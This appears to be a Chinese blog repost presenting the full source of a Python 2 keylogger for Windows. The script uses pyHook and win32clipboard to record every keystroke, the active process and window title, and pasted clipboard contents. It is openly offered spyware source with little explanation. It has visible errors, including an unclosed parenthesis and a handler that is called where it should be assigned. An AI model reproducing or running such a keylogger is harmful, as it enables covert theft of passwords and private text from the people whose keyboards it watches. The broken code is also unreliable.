博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Python 键盘记录
阅读量:4360 次
发布时间:2019-06-07

本文共 1398 字,大约阅读时间需要 4 分钟。

    之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍

#!/usr/bin/env python

# -*-coding:utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd,byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseName(h_process,None, byref(executable),512)
    window_title =create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd,byref(window_title),512
    print "\n [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s " % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke()
kl.HookKeyboard()
pythoncom.PumpMessages()

   

转载于:https://www.cnblogs.com/Lightening2/p/6032099.html

你可能感兴趣的文章
秒杀多线程第三篇 原子操作 Interlocked系列函数
查看>>
boost之ThreadPool
查看>>
如何打造测试工程师精英团队?
查看>>
Linux(CentOS)下同时启动两个tomcat
查看>>
从B树、B+树、B*树谈到R 树
查看>>
java 转换流 打印流 数据流
查看>>
你知道如何判定一个大整数为素数吗?——米勒拉宾素数判定算法
查看>>
form 元素横向排列
查看>>
webapp 移动端开发
查看>>
php 无限分类
查看>>
Linux 安装配置maven3.0 以及搭建nexus私服
查看>>
Python常用模块小结
查看>>
linux中reboot、shutdown、halt等命令详细讲解
查看>>
FileUtils 文件下载 文件导出
查看>>
.net 索引器
查看>>
第3.2 使用案例1:股票期货stock portfolio 21050917
查看>>
C++动态创建类的实例
查看>>
第三次作业——个人作业——软件产品案例分析
查看>>
面向对象程序设计
查看>>
Java对图片压缩
查看>>